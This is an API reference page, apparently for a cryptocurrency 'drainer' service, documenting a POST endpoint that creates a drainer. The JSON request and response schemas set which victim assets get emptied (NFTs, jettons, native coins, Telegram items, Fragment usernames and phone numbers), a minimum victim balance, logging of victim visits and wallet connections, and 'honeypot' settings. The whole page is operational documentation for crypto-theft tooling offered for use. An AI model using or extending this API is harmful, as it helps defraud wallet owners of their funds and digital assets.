Skip to content

Create drainer

POST
/bridge/v2/drainers

Authorizations

Request Body

JSON
{
"name": "string",
"routerName": "string",
"enableDonor": true,
"jettonMessage": "string",
"teleitemsMode": 0,
"teleitemsPriceMultiplier": 0,
"teleitemsMaxPriceMultiplier": 0,
"fragmentMode": "string",
"visitLogs": true,
"walletConnectLogs": true,
"txSuccessLogs": true,
"txCancelLogs": true,
"drainNFT": true,
"drainJettons": true,
"drainNative": true,
"drainTeleitems": true,
"minBalanceUSD": 0,
"manifest": "string",
"fragmentPhoneMinPrice": 0,
"fragmentUsernameMinPrice": 0,
"honeypots": [
{
"amount": 0,
"honeypot_address": "string"
}
]
}

Responses

Creates and returns a new drainer
JSON
{
"name": "string",
"routerName": "string",
"enableDonor": true,
"jettonMessage": "string",
"teleitemsMode": 0,
"teleitemsPriceMultiplier": 0,
"teleitemsMaxPriceMultiplier": 0,
"fragmentMode": "string",
"visitLogs": true,
"walletConnectLogs": true,
"txSuccessLogs": true,
"txCancelLogs": true,
"drainNFT": true,
"drainJettons": true,
"drainNative": true,
"drainTeleitems": true,
"minBalanceUSD": 0,
"manifest": "string",
"fragmentPhoneMinPrice": 0,
"fragmentUsernameMinPrice": 0,
"id": "string",
"honeypots": [
{
"amount": 0,
"honeypot": {
"honeypotAddress": "string",
"isDeployed": true,
"tokenSymbol": "string"
}
}
]
}